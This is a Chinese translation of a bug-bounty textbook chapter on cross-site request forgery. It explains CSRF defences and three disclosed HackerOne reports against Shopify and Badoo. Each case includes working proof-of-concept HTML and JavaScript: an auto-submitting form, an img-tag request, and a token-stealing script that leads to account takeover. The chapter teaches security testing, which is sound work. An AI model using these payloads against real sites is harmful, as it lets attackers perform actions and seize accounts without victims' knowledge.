# 八、跨站请求伪造

> 作者：Peter Yaworski

> 译者：[飞龙](https://github.com/)

> 协议：[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)

## 描述

跨站请求伪造，或 CSRF 攻击，在恶意网站、电子邮件、即使消息、应用以及其它，使用户的 Web 浏览器执行其它站点上的一些操作，并且用户已经授权或登录了该站点时发生。这通常会在用户不知道操作已经执行的情况下发生。

CSRF 攻击的影响取决于收到操作的站点。这里是一个例子：

1.  Bob 登录了它的银行账户，执行了一些操作，但是没有登出。
2.  Bob 检查了它的邮箱，并点击了一个陌生站点的链接。
3.  陌生站点向 Bob 银行站点发送请求来进行转账，并传递第一步中，保存 Bob 银行会话的 Cookie 信息。
4.  Bob 的银行站点收到了来自陌生（恶意）站点的请求，没有使用 CSRF Token 的情况下处理了转账。

更有意思的是这个想法，也就是恶意网站的链接可以包含有效的 HTML，`<imgsrc=”www.malicious_site.com”>`，并且并不需要 Bob 点击链接。如果 Bob 的设备（例如浏览器）渲染了这个图片，它会向`malicious_site.com`发送请求，来完成 CSRF 攻击。

现在，知道了 CSRF 的危险之后，它们可以以多种方式防范。最流行的方式大概是 CSRF Token，它必须随着潜在的数据修改气你去一起提交（例如 POST 请求）。这里，Web 应用（例如 Bob 的银行）会生成一个两部分的 Token，一个 Bob 会收到，另一个由应用保管。

当 Bob 试图提交转账请求时，它就需要提交 Token，银行会验证它这一边的 Token。

现在，对于 CSRF 和 CSRF Token 来说，跨域资源共享似乎越来越普遍了。或者只是我注意到是这样。本质上，CORS 限制了资源，包括 JSON 响应，被外域访问。换句话说，当 CORS 用于保护站点时，你就不能编写 JavaScript 来调用目标应用，读取响应或者进行另一个调用，除非目标站点允许。

似乎这非常令人混乱，使用 JavaScript，尝试调用` HackerOne.com/activity.json`，读取响应并进行二次调用。你也会在下面的例子 #3 看到它的重要性，以及潜在的原理。

最后，重要的是要记住（感谢 Jobert Abma 补充），并不是每个不带有 CSRF Token 的请求都带有 CSRF 问题。一些站点可能执行额外的检查，例如比较 Referer 协议头（虽然可能出错，并且有一些绕过它的案例）。它是一个字段，标识了链接到被请求资源的页面地址。换句话说，如果 POST 调用中的 Referer 并不来源于收到 HTTP 请求的相同站点，站点可能不允许该调用，因此能够完成和验证 CSRF Token 的相同操作。此外，不是每个站点在创建或者定义 Token 时都使用`csrf`术语。例如，在 Badoo 它使用`rt`参数，我们下面会讨论。

> 链接

> 查看 [OWASP 测试指南](https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29)。

## 示例

### 1\. Shopify 导出已安装的用户

难度：低

URL：`https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users`

报告链接：`https://hackerone.com/reports/96470`

报告日期：2015.10.29

奖金：$500

描述：

Shopify 的 API 提供了一个终端，用于导出已安装用户的列表，通过上面给出的 URL。在站点能够调用该终端，并且读取信息的地方存在漏洞，因为 Shopify 在该调用中并没有包含任何 CSRF Token 验证。所以，下面的 HTML 代码可以用于代表任何未知受害者提交表单。

```html
<html>
    <head><title>csrf</title></head>
    <body onLoad="document.forms[0].submit()">
        <form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET">
        </form>
    </body>
</html>
```

这里，通过仅仅浏览站点，JavaScript 就会提交表单，它实际上包含 Shopify API 的 GET 请求，使用受害者的浏览器，并提供 Shopify 的 Cookie。

> 重要结论

> 扩展你的攻击领域，并从站点转向它的 API 终端。API 提供了极大的漏洞可能性，所以最好牢记他，尤其是当你知道 API 可能开发完毕，或者在站点实际开发之后可用的时候。

### 2\. Shopify Twitter 断开连接

难度：低

URL：`https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect`

报告链接：`https://hackerone.com/reports/111216`

报告日期：2016.1.17

奖金：$500

描述：

Shopify 提供了 Twitter 的继承，来允许店主转推它们的商品。与之相似，也提供了功能来断开推特账户和被连接商店的链接。

断开 Twitter 账户的 URL 写在了上面。当进行调用时，Shopify 不验证 CSRf Token，这可能会允许恶意人员代表受害者进行 GET 调用，因此断开受害者的商店与 Twitter 的连接。

在提供这份报告的时候，WeSecureApp 提供了下面的漏洞请求示例 - 要注意下面的`img`标签的使用，它对漏洞 URL 进行调用：


```
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive
```

由于浏览器进行 GET 请求来获取给定 URL 处的图片，并且不验证任何 CSRF Token ，用户的商店现在已断开连接：

```html
<html>
    <body>
        <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
    </body>
</html>
```

> 重要结论

> 这种情况下，这个漏洞可以使用代理服务器来发现，例如 Burp 或者 Firefox 的 Tamper Data，来观察发送给 Shopify 的请求，并主要到这个请求使用 GET 方式来执行。由于这是个破坏性操作，而 GET 请求不应该修改任何服务器上的数据，这应该是一些需要关注的事情。

### 3\. Badoo 账户的完整控制

难度：中

URL：`https://badoo.com`

报告链接：`https://hackerone.com/reports/127703`

报告日期：2016.4.1

奖金：$852

描述：

如果你仔细检查 Badoo ，你会发现，它们通过包含 URL 参数`rt`来防御 CSRF，它只有 5 个位数（至少在我写这篇的时候）。虽然我在 Badoo 入驻 HackerOne 的时候就注意到了，我并没有找到利用它的方式，但是`zombiehelp54`找到了。

发现`rt`参数以及其值之后，它也注意到了，参数一户在所有 JSON 响应中都返回。不幸的是，这并没有什么帮助，因为 CORS 保护了 Badoo，攻击者无法读取这些响应，所以它继续挖掘。

最终，文件`https://eu1.badoo.com/worker-scope/chrome-service-worker.js`包含了`rt`值。更好的是，这个文件可以由攻击者任意读取，而不需要受害者做什么，除了浏览这个恶意页面。这里是它提供的代码。

```html
<html>
<head>
<title>Badoo account take over</title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
</head>
<body>
<script>
function getCSRFcode(str) {
    return str.split('=')[2];
}
    window.onload = function(){
    var csrf_code = getCSRFcode(url_stats);
    csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
    window.location = csrf_url;
};
</script>
```

本质上，当受害者加载此页面时，它会调用 Badoo 的脚本，为用户获取`rt`参数，之后代表受害者进行调用，这里，它将受害者的账户链接到了攻击者的，本上上完成了账户的控制。

> 重要结论

> 无风不起浪。这里，攻击者注意到了`rt`参数在不同位置返回，特别是 JSON 响应，因此，它正确猜测了，它可能出现在一些可以利用的地方，这里是 JS 文件。

> 继续干吧，如果你觉得一些东西可能会发生，一定要继续挖掘。当你访问目标站点或应用时，使用 Burp 检查所有被调用的资源。

## 总结

CSRF 表示另一个攻击向量，并且可能在受害者不知道，或者不主动执行操作的情况下发生。CSRF 漏洞的发现可能需要一些机智，同样，也需要测试任何东西的渴望。

通常，如果站点执行 POST 请求，Web 表单都统一由应用框架保护，例如 Rails，但是 API 又是另外一个事情。例如， Shopify 使用了 RoR 编写，它对所有表单默认提供了 CSRF 保护（当然也可以关掉）。但是，显而易见，这对于使用框架创建的 API 不一定成立。最后，一定要观察任何通过 GET 请求执行的，修改服务器数据的调用（例如删除操作）。
